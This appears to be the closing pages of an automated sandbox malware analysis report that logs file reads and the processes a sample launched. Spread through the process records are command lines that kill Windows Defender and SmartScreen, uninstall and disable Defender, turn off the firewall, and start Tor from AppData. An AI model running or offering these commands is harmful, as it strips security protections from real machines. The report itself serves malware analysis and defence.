utomation.ni.dll.aux

unknown 2764 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a171
39182a9efd561f01fada9688a5\System.ni.dll.aux

unknown 620 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4
e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll.aux

unknown 900 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf4
9f6405#\dfef7a1e85e28d0ba698946b7fc68a28\Microsoft.Managemen
t.Infrastructure.ni.dll.aux

unknown 748 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.M87
0d558a#\bdd4597948110f06927727604f2c3ce3\Microsoft.Managemen
t.Infrastructure.Native.ni.dll.aux

unknown 328 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.M87
0d558a#\bdd4597948110f06927727604f2c3ce3\Microsoft.Managemen
t.Infrastructure.Native.ni.dll.aux

unknown 328 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\f2
e3165e3c718b7ac302fea40614c984\System.Xml.ni.dll.aux

unknown 748 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Dired1
3b18a9#\78d6ee2fdd35fdb45b3d78d899e481ea\System.DirectorySer
vices.ni.dll.aux

unknown 752 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manage
ment\d0f4eb5b1d0857aabc3e7dd079735875\System.Management.ni.d
ll.aux

unknown 764 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Transa
ctions\773cde8eca09561aeac8ad051c091203\System.Transactions.
ni.dll.aux

unknown 924 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Config
uration\e82398e9ff6885d617e4b97e31fb4f02\System.Configuratio
n.ni.dll.aux

unknown 864 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Data\9
9a190301066e9665ec15a1f355a928e\System.Data.ni.dll.aux

unknown 1540 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFA049EB9DD unknown

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFA049EB9DD unknown

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Appx\Appx.psd1 unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Appx\Appx.psd1 unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AssignedA
ccess\AssignedAccess.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AssignedA
ccess\AssignedAccess.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker
\BitLocker.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker
\BitLocker.psd1

unknown 368 end of file 1 7FFA0394B526 ReadFile

File Path Offset Length Completion Count Source Address Symbol
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C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker
\BitLocker.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker
\BitLocker.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker
\BitLocker.psd1

unknown 368 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\en-
US\BitLocker.psd1

unknown 4096 success or wait 3 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\en-
US\BitLocker.psd1

unknown 770 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\en-
US\BitLocker.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFA049EB9DD unknown

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFA049EB9DD unknown

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker
\BitLocker.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker
\BitLocker.psd1

unknown 368 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\en-
US\BitLocker.psd1

unknown 4096 success or wait 3 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\en-
US\BitLocker.psd1

unknown 770 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker
\BitLocker.psm1

unknown 4096 success or wait 74 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker
\BitLocker.psm1

unknown 104 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker
\BitLocker.psm1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitsTrans
fer\BitsTransfer.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitsTrans
fer\BitsTransfer.psd1

unknown 522 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitsTrans
fer\BitsTransfer.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BranchCac
he\BranchCache.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BranchCac
he\BranchCache.psd1

unknown 358 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BranchCac
he\BranchCache.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\CimCmdlet
s\CimCmdlets.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\CimCmdlet
s\CimCmdlets.psd1

unknown 160 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\CimCmdlet
s\CimCmdlets.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ConfigCI\
ConfigCI.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ConfigCI\
ConfigCI.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
Defender.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
Defender.psd1

unknown 699 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
Defender.psd1

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
Defender.psd1

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
Defender.psd1

unknown 699 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpComputerStatus.cdxml

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpComputerStatus.cdxml

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

unknown 4095 success or wait 1 7FFA049EB9DD unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

unknown 8171 end of file 1 7FFA049EB9DD unknown

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

File Path Offset Length Completion Count Source Address Symbol
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae
3498d9#\03aa8bc6b99490176793256632e8342e\Microsoft.PowerShel
l.Commands.Management.ni.dll.aux

unknown 3148 success or wait 1 7FFA04AC12E7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpPreference.cdxml

unknown 4096 success or wait 12 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpPreference.cdxml

unknown 764 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpPreference.cdxml

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreat.cdxml

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreat.cdxml

unknown 617 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreat.cdxml

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreatCatalog.cdxml

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreatCatalog.cdxml

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreatDetection.cdxml

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreatDetection.cdxml

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpScan.cdxml

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpScan.cdxml

unknown 227 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpScan.cdxml

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpSignature.cdxml

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpSignature.cdxml

unknown 243 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpSignature.cdxml

unknown 4096 end of file 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpWDOScan.cdxml

unknown 4096 success or wait 1 7FFA0394B526 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpWDOScan.cdxml

unknown 4096 end of file 1 7FFA0394B526 ReadFile

stdin unknown 1024 pipe broken 1 7FFA0394B526 ReadFile

File Path Offset Length Completion Count Source Address Symbol

Target ID: 21

Start time: 12:10:01

Start date: 20/09/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7fcd70000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 4888, Parent PID: 572

General

Analysis Process: cvtres.exe PID: 3204, Parent PID: 3896
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Target ID: 22

Start time: 12:10:01

Start date: 20/09/2022

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Wow64 process (32bit): true

Commandline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RE
S1F9B.tmp" "c:\Users\user\AppData\Local\Temp\vniik5rq\CSCFD2BA8049D364133B9FE5D3896759AE.TMP"

Imagebase: 0xe10000

File size: 43176 bytes

MD5 hash: C09985AE74F0882F208D75DE27770DFA

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Target ID: 23

Start time: 12:10:01

Start date: 20/09/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7fcd70000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Target ID: 24

Start time: 12:10:02

Start date: 20/09/2022

Path: C:\Windows\System32\taskkill.exe

Wow64 process (32bit): false

Commandline: TASKKILL  /F /IM MsMpEng.exe 

Imagebase: 0x7ff7eaec0000

File size: 94720 bytes

MD5 hash: 530C6A6CBA137EAA7021CEF9B234E8D4

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

General

File Activities

Analysis Process: conhost.exe PID: 2860, Parent PID: 5476

General

Analysis Process: taskkill.exe PID: 492, Parent PID: 572

General

File Activities
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There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

Target ID: 27

Start time: 12:10:08

Start date: 20/09/2022

Path: C:\Windows\System32\taskkill.exe

Wow64 process (32bit): false

Commandline: TASKKILL  /F /IM smartscreen.exe 

Imagebase: 0x7ff7eaec0000

File size: 94720 bytes

MD5 hash: 530C6A6CBA137EAA7021CEF9B234E8D4

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

Target ID: 28

Start time: 12:10:10

Start date: 20/09/2022

Path: C:\Windows\System32\msiexec.exe

Wow64 process (32bit): false

Commandline: msiexec  /uninstall windowsdefender.msi /quiet 

Imagebase: 0x7ff672870000

File size: 66048 bytes

MD5 hash: 4767B71A318E201188A0D0A420C8B608

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Offset Length Completion Count Source Address Symbol

Target ID: 30

Start time: 12:10:10

Start date: 20/09/2022

Path: C:\Windows\System32\sc.exe

Wow64 process (32bit): false

Commandline: sc  config WinDefend start= disabled 

Imagebase: 0x7ff6454a0000

Analysis Process: taskkill.exe PID: 5208, Parent PID: 572

General

File Activities

Analysis Process: msiexec.exe PID: 4992, Parent PID: 572

General

File Activities

Analysis Process: sc.exe PID: 4464, Parent PID: 572

General
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File size: 69120 bytes

MD5 hash: D79784553A9410D15E04766AAAB77CD6

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

Target ID: 31

Start time: 12:10:11

Start date: 20/09/2022

Path: C:\Windows\System32\msiexec.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\msiexec.exe /V

Imagebase: 0x7ff672870000

File size: 66048 bytes

MD5 hash: 4767B71A318E201188A0D0A420C8B608

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Offset Length Completion Count Source Address Symbol

Target ID: 32

Start time: 12:10:12

Start date: 20/09/2022

Path: C:\Windows\System32\netsh.exe

Wow64 process (32bit): false

Commandline: netsh  advfirewall set allprofiles state off 

Imagebase: 0x7ff647350000

File size: 92672 bytes

MD5 hash: 98CC37BBF363A38834253E22C80A8F32

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Activities

Analysis Process: msiexec.exe PID: 1516, Parent PID: 564

General

File Activities

Analysis Process: netsh.exe PID: 3976, Parent PID: 572

General

File Activities

Analysis Process: Dism.exe PID: 5584, Parent PID: 572

General
Copyright Joe Security LLC 2022 Page 171 of 173



Target ID: 33

Start time: 12:10:14

Start date: 20/09/2022

Path: C:\Windows\System32\Dism.exe

Wow64 process (32bit): false

Commandline: Dism  /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet

Imagebase: 0x7ff6a5460000

File size: 297888 bytes

MD5 hash: BA4350783B9047DEC954065EA993C30A

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Target ID: 36

Start time: 12:10:26

Start date: 20/09/2022

Path: C:\Users\user\AppData\Roaming\Tor\tor.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\Tor\tor.exe

Imagebase: 0xca0000

File size: 4466702 bytes

MD5 hash: 055AE7C584A7B012955BF5D874F30CFA

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Target ID: 37

Start time: 12:10:31

Start date: 20/09/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

File Activities

Analysis Process: tor.exe PID: 3756, Parent PID: 5812

General

File Activities

Analysis Process: conhost.exe PID: 5616, Parent PID: 3756

General
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Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7fcd70000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

⊘ No disassembly

Disassembly
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